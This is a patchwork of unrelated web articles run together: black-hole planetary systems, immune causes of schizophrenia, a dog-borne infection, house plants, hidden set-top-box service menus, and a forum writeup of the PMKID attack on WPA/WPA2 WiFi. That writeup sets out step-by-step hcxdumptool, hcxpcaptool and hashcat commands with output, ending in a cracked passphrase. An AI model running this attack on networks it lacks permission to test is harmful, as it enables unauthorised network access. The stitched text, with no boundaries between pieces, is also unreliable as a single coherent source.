Still, assuming these planets kept the same distance from the sun as they do now, the gravitational pull of the sun and its black hole partner would lead these worlds to complete their orbits a bit more quickly, with Earth’s year decreasing from 365 days to 258 days, he said.

In the above scenario, the sun and the black hole would complete an orbit with one another every 2.9 days. This means the amount of energy that Earth would receive from the sun would fluctuate between 90 percent and 110 percent of its average as the sun moved farther from or closer to Earth.

“That is like bouncing between New York and Miami and back every 2.9 days,” Raymond noted. [Black Hole Quiz: How Well Do You Know Nature’s Weirdest Creations?]

More than 500 Earth-like planets could circle a million-solar-mass black hole, given some fortuitous star placement, according to astrophysicist Sean Raymond.
More than 500 Earth-like planets could circle a million-solar-mass black hole, given some fortuitous star placement, according to astrophysicist Sean Raymond.

Credit: Sean Raymond

In addition to imagining life around a stellar-mass black hole, Raymond also calculated how many potentially habitable planets might fit around a supermassive black hole 1 million times the mass of the sun. “That’s almost as massive as the one in the center of the Milky Way,” he said. It would only be about the diameter of the sun, he added.

Around the sun, the orbits that planets travel can come only so close together before the effects of their gravitational pulls overwhelm those of the sun, leading to unstable orbits. Raymond noted that about six Earth-mass planets can fit in stable concentric orbits within the sun’s habitable zone.

In contrast, a supermassive black hole’s gravitational pull is extraordinarily strong, enough to easily overwhelm those of planets. If the sun were replaced with a million-solar-mass black hole, 550 Earth-mass planets could fit in stable concentric orbits in the habitable zone, Raymond calculated.

The supermassive black hole’s gravity would pull more strongly on the side of each planet closer to the black hole. This would stretch the habitable-zone planets out, although they would not be close enough to get ripped apart, Raymond said.

One way to create a habitable zone around this supermassive black hole is to place stars between it and the planets. A ring of nine sun-like stars 0.5 AU from a million-sun black hole would make each of the 550 Earth-mass planets in the above scenario potentially habitable, Raymond said.

“It would be pretty interesting to live on a planet in this system,” Raymond noted. “It would take just a few days to complete an orbit around the black hole — about 1.6 days at the inner edge of the habitable zone and 4.6 days at the outer edge.” [10 Exoplanets That Could Host Alien Life]

At the closest approach, or conjunction, between two such planets, the distance between these worlds would be “about twice the Earth-moon distance,” Raymond noted. “At conjunction, each planet’s closest neighbor appears about twice the size of the full moon in the sky.”

In addition, the next-nearest neighbors would be only twice as far away, and so would appear as big as the full moon during conjunction, Raymond said. Four more planets would be at least half the size of the full moon during conjunction, he added. “Conjunctions happen a little less than once per orbit, so every few days there is a gaggle of giant objects passing across the sky,” he said.

The nine suns “would also be a sight to behold,” Raymond said. Each would complete its orbit around the black hole every 3 hours.

“That means that every 20 minutes, one of the suns would pass behind the black hole,” Raymond said. “When a sun passes behind the black hole, the black hole’s gravity bends its light and can act like a lens. It focuses the sun’s light toward the planet. This distorts the shape of the sun into a ring … a pretty sweet light show.”

Furthermore, starlight would be stretched by the black hole’s gravity. “Stars closer to the black hole would appear redder, and those farther from the black hole would appear bluer,” Raymond said.

Given a million-sun black hole with an orbiting ring of nine sun-like stars, 1 million Earth-mass planets could orbit within the habitable zone, in 400 rings of 2,500 planets apiece, astrophysicist Sean Raymond has calculated that.
Given a million-sun black hole with an orbiting ring of nine sun-like stars, 1 million Earth-mass planets could orbit within the habitable zone, in 400 rings of 2,500 planets apiece, astrophysicist Sean Raymond has calculated that.

Credit: Sean Raymond

In the prior scenario, each planet was alone in its orbit around the supermassive black hole. Raymond also modeled what would happen if multiple planets shared an orbit around a million-sun black hole. Previously, Raymond calculated that 42 Earth-mass planets could orbit in a ring 1 AU from the sun.

To have a stable ring of planets, Raymond noted that planets in that ring must all have roughly the same mass. There must also be at least seven planets in such a ring, and they must be evenly spaced along a circular orbit.

Given a million-sun black hole with an orbiting ring of nine sun-like stars, Raymond calculated that a million Earth-mass planets could orbit within the habitable zone in 400 rings, each holding 2,500 planets spaced apart by about the same distance as that between Earth and the moon. In this scenario, planets would again take anywhere from 1.6 to 4.6 days to complete an orbit. [The Strangest Black Holes in the Universe]

Instead of placing nine sun-like stars between the black hole and the planets, Raymond also suggested one could place 36 sun-like stars in a ring 6 AU wide. In this scenario, “each planet is bathed in sunlight from all sides — the planets have no night side,” Raymond said. “It’s like Asimov’s permanent-daytime planet Kalgash.”

“You would never feel alone in these systems — the other planets would loom huge in the sky,” Raymond added. Neighboring planets would be about 10 times closer than the moon is to Earth, meaning they would appear “about 40 times larger in the sky than the full moon,” Raymond said. “That’s about the size of a laptop computer held at arm’s reach, only up in the sky.”

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In this latter scenario, the planets would be much closer to the black hole, each completing an orbit in just about 9 hours. This means they would orbit at extraordinary speeds — about 10 percent of the speed of light. According to Einstein’s theory of special relativity, time would appear to move noticeably more slowly the closer one gets to the speed of light, so “two babies born at the same instant on different rings would age at slightly different rates,” Raymond said. “The baby on the inner ring would age slightly more slowly.”

The differences in speed between the rings would be great enough to likely make it impossible for a spaceship to travel from one ring to another with any current technology, Raymond said. However, each world would share its ring with thousands of others, and the relative speed between neighboring planets would be almost zero. “A space elevator could connect planets,” Raymond said.

If each pair of neighboring planets along a given ring were connected, it would resemble a “Ringworld,” a gigantic alien megastructure in Larry Niven’s science-fiction epic of the same name. “The difference between this setup and the ‘Ringworld’ from Larry Niven’s book is that, in this case, there is no livable surface area in between the planets,” Raymond said.

Where might such million-planet systems come from? “I can imagine super-advanced aliens creating a system like the million-Earth solar system as a cosmic work of art, kind of like the art of skyscrapers or painted icebergs,” Raymond said. “A way to say, ‘Look how fancy we are,’ on the grandest scale.”

“Or maybe aliens would create this kind of system as a zoo,” Raymond said. “They could have a gradient in climates from the hottest to coldest, and stock the planets with all sorts of creatures they collect across the universe. Of course, they’d have to be careful not to put the wrong combinations of space creatures on the same ring of planets, because that wouldn’t end well.”

All in all, “it’s helpful to try to come up with all the possible planetary systems that might be out there,” Raymond said. “Some discoveries could have been anticipated by ‘going there’ and imagining possibilities that are far outside the norm. These systems are a combination of science fiction and ‘going there’ in that sense.”

“The main thing I go for is simply to try to push the limits of what we think is possible,” Raymond concluded.

Follow Charles Q. Choi on Twitter @cqchoi. Follow us @SpacedotcomFacebook and Google+. Original article on Space.com.

A Bone-Marrow Transplant to Treat Schizophrenia?

He Got Schizophrenia. He Got Cancer. And Then He Got Cured.

A bone-marrow transplant treated a patient’s leukemia — and his delusions, too. Some doctors think they know why.

Moises Velasquez-Manoff

By Moises Velasquez-Manoff

Mr. Velasquez-Manoff is a science writer.

CreditCreditJesse Jacobs

The man was 23 when the delusions came on. He became convinced that his thoughts were leaking out of his head and that other people could hear them. When he watched television, he thought the actors were signaling him, trying to communicate. He became irritable and anxious and couldn’t sleep.

Dr. Tsuyoshi Miyaoka, a psychiatrist treating him at the Shimane University School of Medicine in Japan, eventually diagnosed paranoid schizophrenia. He then prescribed a series of antipsychotic drugs. None helped. The man’s symptoms were, in medical parlance, “treatment resistant.”

A year later, the man’s condition worsened. He developed fatigue, fever and shortness of breath, and it turned out he had a cancer of the blood called acute myeloid leukemia. He’d need a bone-marrow transplant to survive. After the procedure came the miracle. The man’s delusions and paranoia almost completely disappeared. His schizophrenia seemingly vanished.

Years later, “he is completely off all medication and shows no psychiatric symptoms,” Dr. Miyaoka told me in an email. Somehow the transplant cured the man’s schizophrenia.

A bone-marrow transplant essentially reboots the immune system. Chemotherapy kills off your old white blood cells, and new ones sprout from the donor’s transplanted blood stem cells. It’s unwise to extrapolate too much from a single case study, and it’s possible it was the drugs the man took as part of the transplant procedure that helped him. But his recovery suggests that his immune system was somehow driving his psychiatric symptoms.

At first glance, the idea seems bizarre — what does the immune system have to do with the brain? — but it jibes with a growing body of literature suggesting that the immune system is involved in psychiatric disorders from depression to bipolar disorder.

The theory has a long, if somewhat overlooked, history. In the late 19th century, physicians noticed that when infections tore through psychiatric wards, the resulting fevers seemed to cause an improvement in some mentally ill and even catatonic patients.

Inspired by these observations, the Austrian physician Julius Wagner-Jauregg developed a method of deliberate infection of psychiatric patients with malaria to induce fever. Some of his patients died from the treatment, but many others recovered. He won a Nobel Prize in 1927.

One much more recent case study relates how a woman’s psychotic symptoms — she had schizoaffective disorder, which combines symptoms of schizophrenia and a mood disorder such as depression — were gone after a severe infection with high fever.

Modern doctors have also observed that people who suffer from certain autoimmune diseases, like lupus, can develop what looks like psychiatric illness. These symptoms probably result from the immune system attacking the central nervous system or from a more generalized inflammation that affects how the brain works.

Indeed, in the past 15 years or so, a new field has emerged called autoimmune neurology. Some two dozen autoimmune diseases of the brain and nervous system have been described. The best known is probably anti-NMDA-receptor encephalitis, made famous by Susannah Cahalan’s memoir “Brain on Fire.” These disorders can resemble bipolar disorder, epilepsy, even dementia — and that’s often how they’re diagnosed initially. But when promptly treated with powerful immune-suppressing therapies, what looks like dementia often reverses. Psychosis evaporates. Epilepsy stops. Patients who just a decade ago might have been institutionalized, or even died, get better and go home.

Admittedly, these diseases are exceedingly rare, but their existencesuggests there could be other immune disorders of the brain and nervous system we don’t know about yet.

Dr. Robert Yolken, a professor of developmental neurovirology at Johns Hopkins, estimates that about a third of schizophrenia patients show some evidence of immune disturbance. “The role of immune activation in serious psychiatric disorders is probably the most interesting new thing to know about these disorders,” he told me.

Studies on the role of genes in schizophrenia also suggest immune involvement, a finding that, for Dr. Yolken, helps to resolve an old puzzle. People with schizophrenia tend not to have many children. So how have the genes that increase the risk of schizophrenia, assuming they exist, persisted in populations over time? One possibility is that we retain genes that might increase the risk of schizophrenia because those genes helped humans fight off pathogens in the past. Some psychiatric illness may be an inadvertent consequence, in part, of having an aggressive immune system.

Which brings us back to Dr. Miyaoka’s patient. There are other possible explanations for his recovery. Dr. Andrew McKeon, a neurologist at the Mayo Clinic in Rochester, Minn., a center of autoimmune neurology, points out that he could have suffered from a condition called paraneoplastic syndrome. That’s when a cancer patient’s immune system attacks a tumor — in this case, the leukemia — but because some molecule in the central nervous system happens to resemble one on the tumor, the immune system also attacks the brain, causing psychiatric or neurological problems. This condition was important historically because it pushed researchers to consider the immune system as a cause of neurological and psychiatric symptoms. Eventually they discovered that the immune system alone, unprompted by malignancy, could cause psychiatric symptoms.

Another case study from the Netherlands highlights this still-mysterious relationship. In this study, on which Dr. Yolken is a co-author, a man with leukemia received a bone-marrow transplant from a schizophrenic brother. He beat the cancer but developed schizophrenia. Once he had the same immune system, he developed similar psychiatric symptoms.


The bigger question is this: If so many syndromes can produce schizophrenia-like symptoms, should we examine more closely the entity we call schizophrenia?

Some psychiatrists long ago posited that many “schizophrenias” existed — different paths that led to what looked like one disorder. Perhaps one of those paths is autoinflammatory or autoimmune.

If this idea pans out, what can we do about it? Bone marrow transplant is an extreme and risky intervention, and even if the theoretical basis were completely sound — which it’s not yet — it’s unlikely to become a widespread treatment for psychiatric disorders. Dr. Yolken says that for now, doctors treating leukemia patients who also have psychiatric illnesses should monitor their psychiatric progress after transplantation, so that we can learn more.

And there may be other, softer interventions. A decade ago, Dr. Miyaoka accidentally discovered one. He treated two schizophrenia patients who were both institutionalized, and practically catatonic, with minocycline, an old antibiotic usually used for acne. Both completely normalized on the antibiotic. When Dr. Miyaoka stopped it, their psychosis returned. So he prescribed the patients a low dose on a continuing basis and discharged them.

Minocycline has since been studied by others. Larger trials suggest that it’s an effective add-on treatment for schizophrenia. Some have argued that it works because it tamps down inflammation in the brain. But it’s also possible that it affects the microbiome — the community of microbes in the human body — and thus changes how the immune system works.

Dr. Yolken and colleagues recently explored this idea with a different tool: probiotics, microbes thought to improve immune function. He focused on patients with mania, which has a relatively clear immunological signal. During manic episodes, many patients have elevated levels of cytokines, molecules secreted by immune cells. He had 33 mania patients who’d previously been hospitalized take a probiotic prophylactically. Over 24 weeks, patients who took the probiotic (along with their usual medications) were 75 percent less likely to be admitted to the hospital for manic attacks compared with patients who didn’t.

The study is preliminary, but it suggests that targeting immune function may improve mental health outcomes and that tinkering with the microbiome might be a practical, cost-effective way to do this.

Watershed moments occasionally come along in medical history when previously intractable or even deadly conditions suddenly become treatable or preventable. They are sometimes accompanied by a shift in how scientists understand the disorders in question.

We now seem to have reached such a threshold with certain rare autoimmune diseases of the brain. Not long ago, they could be a death sentence or warrant institutionalization. Now, with aggressive treatment directed at the immune system, patients can recover. Does this group encompass a larger chunk of psychiatric disorders? No one knows the answer yet, but it’s an exciting time to watch the question play out.

Moises Velasquez-Manoff, the author of “An Epidemic of Absence: A New Way of Understanding Allergies and Autoimmune Diseases” and an editor at Bay Nature magazine, is a contributing opinion writer.

New attack on WPA/WPA2 using PMKID

Thread Modes
New attack on WPA/WPA2 using PMKID

In this writeup, I’ll describe a new technique to crack WPA PSK (Pre-Shared Key) passwords.

In order to make use of this new attack you need the following tools:

This attack was discovered accidentally while looking for new ways to attack the new WPA3 security standard. WPA3 will be much harder to attack because of its modern key establishment protocol called “Simultaneous Authentication of Equals” (SAE).

The main difference from existing attacks is that in this attack, capture of a full EAPOL 4-way handshake is not required. The new attack is performed on the RSN IE (Robust Security Network Information Element) of a single EAPOL frame.

At this time, we do not know for which vendors or for how many routers this technique will work, but we think it will work against all 802.11i/p/q/r networks with roaming functions enabled (most modern routers).

The main advantages of this attack are as follow:

  • No more regular users required – because the attacker directly communicates with the AP (aka “client-less” attack)
  • No more waiting for a complete 4-way handshake between the regular user and the AP
  • No more eventual retransmissions of EAPOL frames (which can lead to uncrackable results)
  • No more eventual invalid passwords sent by the regular user
  • No more lost EAPOL frames when the regular user or the AP is too far away from the attacker
  • No more fixing of nonce and replaycounter values required (resulting in slightly higher speeds)
  • No more special output format (pcap, hccapx, etc.) – final data will appear as regular hex encoded string

Attack details:

The RSN IE is an optional field that can be found in 802.11 management frames. One of the RSN capabilities is the PMKID.

[Image: wireshark_pmkid.png]

The PMKID is computed by using HMAC-SHA1 where the key is the PMK and the data part is the concatenation of a fixed string label “PMK Name”, the access point’s MAC address and the station’s MAC address.


Since the PMK is the same as in a regular EAPOL 4-way handshake this is an ideal attacking vector.

We receive all the data we need in the first EAPOL frame from the AP.

How to reproduce:

1. Run hcxdumptool to request the PMKID from the AP and to dump the recieved frame to a file (in pcapng format).

$ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status


Quote:start capturing (stop with ctrl+c)
INTERFACE:……………: wlp39s0f3u4u5
FILTERLIST……………: 0 entries
MAC CLIENT……………: 89acf0e761f4 (client)
MAC ACCESS POINT………: 4604ba734d4e (start NIC)
EAPOL TIMEOUT…………: 20000
ANONCE……………….: 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69

If an AP recieves our association request packet and supports sending PMKID we will see a message “FOUND PMKID” after a moment:

Quote:[13:29:57 – 011] 89acf0e761f4 -> 4604ba734d4e <ESSID> [ASSOCIATIONREQUEST, SEQUENCE 4]
[13:29:57 – 011] 4604ba734d4e -> 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE 1206]
[13:29:57 – 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID]

Note: Based on the noise on the wifi channel it can take some time to recieve the PMKID. We recommend running hcxdumptool up to 10 minutes before aborting.

2. Run hcxpcaptool to convert the captured data from pcapng format to a hash format accepted by hashcat.

$ ./hcxpcaptool -z test.16800 test.pcapng


Quote:start reading from test.pcapng

file name………………..: test.pcapng
file type………………..: pcapng 1.0
file hardware information….: x86_64
file os information……….: Linux 4.17.11-arch1
file application information.: hcxdumptool 4.2.0
network type……………..: DLT_IEEE802_11_RADIO (127)
endianess………………..: little endian
read errors………………: flawless
packets inside……………: 66
skipped packets…………..: 0
packets with FCS………….: 0
beacons (with ESSID inside)..: 17
probe requests……………: 1
probe responses…………..: 11
association requests………: 5
association responses……..: 5
authentications (OPEN SYSTEM): 13
authentications (BROADCOM)…: 1
EAPOL packets…………….: 14
EAPOL PMKIDs……………..: 1

1 PMKID(s) written to test.16800

The content of the written file will look like this:


The columns are the following (all hex encoded):

  • MAC AP
  • MAC Station

Note: While not required it is recommended to use options -E -I and -U with hcxpcaptool. We can use these files to feed hashcat. They typically produce good results.

  • -E retrieve possible passwords from WiFi-traffic (additional, this list will include ESSIDs)
  • -I retrieve identities from WiFi-traffic
  • -U retrieve usernames from WiFi-traffic
$ ./hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng

3. Run hashcat to crack it.

Basically we can attack this hash as any other hash type. The hash-mode that we need to use is 16800.

$ ./hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'


Quote:hashcat (v4.2.0) starting…

OpenCL Platform #1: NVIDIA Corporation
* Device #1: GeForce GTX 1080, 2028/8112 MB allocatable, 20MCU
* Device #2: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
* Device #3: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
* Device #4: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force
* Slow-Hash-SIMD-LOOP

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63

Watchdog: Temperature abort trigger set to 90c


Session……….: hashcat
Status………..: Cracked
Hash.Type……..: WPA-PMKID-PBKDF2
Hash.Target……: 2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf…a39f3a
Time.Started…..: Thu Jul 26 12:51:38 2018 (41 secs)
Time.Estimated…: Thu Jul 26 12:52:19 2018 (0 secs)
Guess.Mask…….: ?l?l?l?l?l?lt! [8]
Guess.Queue……: 1/1 (100.00%)
Speed.Dev.#1…..:   408.9 kH/s (103.86ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#2…..:   408.6 kH/s (104.90ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#3…..:   412.9 kH/s (102.50ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#4…..:   410.9 kH/s (104.66ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#*…..:  1641.3 kH/s
Recovered……..: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress………: 66846720/308915776 (21.64%)
Rejected………: 0/66846720 (0.00%)
Restore.Point….: 0/11881376 (0.00%)
Candidates.#1….: hariert! -> hhzkzet!
Candidates.#2….: hdtivst! -> hzxkbnt!
Candidates.#3….: gnxpwet! -> gwqivst!
Candidates.#4….: gxhcddt! -> grjmrut!
HWMon.Dev.#1…..: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz Bus:1
HWMon.Dev.#2…..: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz Bus:1
HWMon.Dev.#3…..: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz Bus:1
HWMon.Dev.#4…..: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz Bus:1

Started: Thu Jul 26 12:51:30 2018
Stopped: Thu Jul 26 12:52:21 2018

There’s also support for hash-mode 16801, which allows skipping the computation of the PMK – which is the computation that makes cracking WPA so slow. Pre-computing PMK can be useful in cases where you are on site and you cannot transfer a hash to a remote cracking rig because of an NDA. The goal is to run hashcat on your notebook which you can bring to the site.

The mode 16801 expects a list of pre-computed PMKs, as hex encoded strings of length 64, as the input wordlist. To pre-compute the PMKs you can use the hcxkeys tool. The hcxkeys tools require the ESSID, so you need to ask for the ESSID from your client in advance.

This is one of the reasons why a dogs saliva is deemed unclean in Islam

How a Lick from a Dog Led to a Man’s Leg and Arm Amputations

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How a Lick from a Dog Led to a Man's Leg and Arm Amputations


Credit: Shutterstock

A 48-year-old man from Wisconsin recently contracted a rare blood infection that led to the amputation of his legs and parts of his arms, according to news reports. And the most likely source of the devastating infection was his own dog.

Greg Manteufel went to the hospital with what he thought was the flu, local news outlet Fox 6 Now reported yesterday (July 30). But within a week, the doctors had to amputate both of his legs and, later, portions of his hands and forearms. The amputations were necessary after the infection caused Manteufel’s blood pressure to drop drastically, which severely reduced blood flow to his limbs and led to tissue death.

Blood tests revealed that Manteufel’s infection was caused by a bacterium called Capnocytophaga, according to Fox 6 Now. [11 Ways Your Beloved Pet May Make You Sick]


These bacteria are found in the mouths of cats and dogs, according to the Centers for Disease Control and Prevention (CDC). Up to 74 percent of dogs and 57 percent of cats have Capnocytophaga, but the bacteria don’t cause illness in dogs and cats, the CDC says.

In humans, however, it’s a different story. In very rare cases, the bacteria can spread to humans through bites, scratches or close contact with cats and dogs. The people most at risk for this infection are those with weakened immune systems, according to the CDC. (It’s unclear if Manteufel had a weakened immune system).

If a person becomes infected with Capnocytophaga, the bacteria can spread to the bloodstream and cause infections in various parts of the body, including a blood infection known as sepsis. Sepsis occurs when the immune system responds overwhelmingly to an infection, triggering body-wide inflammation and, potentially, organ failure.

Most people who get sick with the bacteria typically start experiencing symptoms within three to five days of becoming infected, but symptoms may occur anywhere from one to 14 days after infection, according to the CDC. Symptoms include blisters, redness, swelling, pus or pain around the animal bite location (if a bite was involved), fever, diarrhea, headache, vomiting and muscle or joint pain.

As in Manteufel’s case, the infection can sometimes lead to gangrene, or tissue death, and require amputations to save the rest of the body.

Dr. Silvia Munoz-Price, an infectious-disease specialist with Froedtert & the Medical College of Wisconsin told Fox 6 Now that the case is extremely rare. “More than 99 percent of the people that have dogs will never have this issue. It’s just chance,” she said.

Originally published on Live Science.

Curtiss Kick Starts a New Trend in Electric Motocycles


A Few Interesting Indoor House Plants

Even those without a green thumb can appreciate the beauty of houseplants – if you’re one of those people, this post is for you! We’ve compiled information on 32 low-maintenance plants ranging from tiny succulents all the way to small trees, something for every skill level. This outdoorsy touch is a great way to boost mood, add color to your interior, and build up gardening skill. Many people even enjoy keeping houseplants to purify the air, but it’s important to consider some important caveats to that NASA study everyone keeps mentioning about – with that in mind, this list focuses on attractive aesthetics and easy maintenance only. Enjoy the search!

Hidden Secret Service Menu in Tata Sky and Airtel Digital TV DTH Set Top Box



We love finding hidden secret service menus and codes for electronic gadgets such as mobile phones, TVs, etc. We have shared service codes for Google Android mobile phones, Samsung Wave Bada OS mobile phones, Chinese mobile phones and Samsung and LG TVs in past and now its turn of DTH set top box.

There are many DTH (Direct To Home) service providers in India such as Tata Sky, Dish TV, Airtel Digital TV (ADTV), Reliance Big TV, Sun Direct, Videocon D2H and DD Direct+. Among all these companies, Tata Sky is the most popular DTH service provider in India.

Tata Sky provides normal SD channels along with a few HD channels to its customers. It also provides DVR service which allows you to record and pause the live television programs.

Tats Sky uses Sky brand of British Sky Broadcasting so Sky DTH users and Tata Sky DTH users enjoy almost the same set top boxes provided by the companies.

Now the question comes why are we telling you all these things? It’s because today in this article, we are going to share a hidden secret service menu and secret service code for Tata Skyand Airtel Digital TV set top box.

DISCLAIMER: This information is intended for experienced users. Please do not try any of following methods if you are not familiar with set top boxes. We’ll not be responsible for the use or misuse of this information, including loss of data or hardware damage. So use it at your own risk.

The secret service menu present in Tata Sky and Airtel Digital TV DTH set top box can be used to setup the LNB, signal type, format the hard disk, master reset and much more.

And the secret service code can be used to reinstall or upgrade the set top box firmware or software.

1. Hidden Secret Service Menu in Tata Sky and Airtel Digital TV DTH Set Top Box

All Tata Sky and Airtel Digital TV set top boxes come with this hidden menu to be used by engineers to fix the set top box in case you face problems while accessing TV channels, etc.

To access this secret menu, you can follow these simple steps:

1. Switch on set top box and press “Organiser” (or Settings button in new remotes) button on your Tata Sky remote. Airtel Digital TV users press “Menu -> My Settings“.

2. Now select “System Settings” menu in Tata Sky. Airtel Digital TV users select “System Setup” option.

3. Now the tricky part comes. Press “0” and “1” buttons and then press “Select” button on your Tata Sky remote.

Airtel Digital TV users press following 5 buttons in sequence: Red, <, Green, > and Yellow button.

So basically for Tata Sky users the combination is: Organiser/Settings -> System Settings -> 0+1 -> Select

For Airtel Digital TV users the combination is: Menu -> My Settings -> System Setup -> Red+<+Green+>+Yellow button

4. That’s it. It’ll bring the hidden service menu “Installer Setup” on your screen which shows following options:

  • Format Disk
  • LNB Setup / Satellite Settings
  • RF Outlets
  • Manual Tuning
  • Remote TV
  • Modem Setup
  • Master Reset

Tata Sky SD Set Top Box Service Menu:


Tata Sky HD Set Top Box Service Menu:


Be very careful while accessing these options. You can format the hard disk using the “Format Disk” option. You can select LNB type, frequency and other parameters using “LNB Setup” option. “RF Outlets” option can be used to customize channel number for UHF/VHF output.

Manual Tuning” option is given to customize signal type but it’ll require expertise and knowledge of dish antennas, etc.

You can restore your Tata Sky set top box to factory default settings using “Master Reset” option. Keep in mind it’ll remove your favorites channels and saved preferences. But it’ll not delete your recorded TV programs.

Master Reset” option can be used if you are having problems with your set top box such as not receiving enough signals, poor picture or sound quality, etc.

NOTE: This method will work for all Tata Sky and Airtel Digital TV set top boxes whether its normal SD box, HD box or HD+ box. This method should also work for Sky set top boxes, not checked.

2. Hidden Secret Service Code for Tata Sky and Airtel DTH Set Top Box

If you notice that your set top box is not providing picture or sound of a particular channel or you face other kind of annoying problems with your Tata Sky or Airtel DTH set top box, you can try a secret way to reinstall or upgrade your set top box firmware (or software).

Most of the times the firmware is automatically updated by Tata Sky and Airtel via its satellite but you can manually try to reinstall or update the firmware using following steps:

1. Start your set top box from mains and wait for the “Please Wait Initializing…” message on screen.

2. As soon as you see the message, quickly press “Back” button 2 times and then press 2 4 6 5buttons on your remote.

If the above method doesn’t work, you can try to press “Back” button 4 times and then press 2 4 8 5 buttons on your remote.

OR press “Back” button 2 times and then press 2 4 8 5 buttons on your remote.

NOTE for Airtel DTH users: You might need to press Exit button instead of Back button.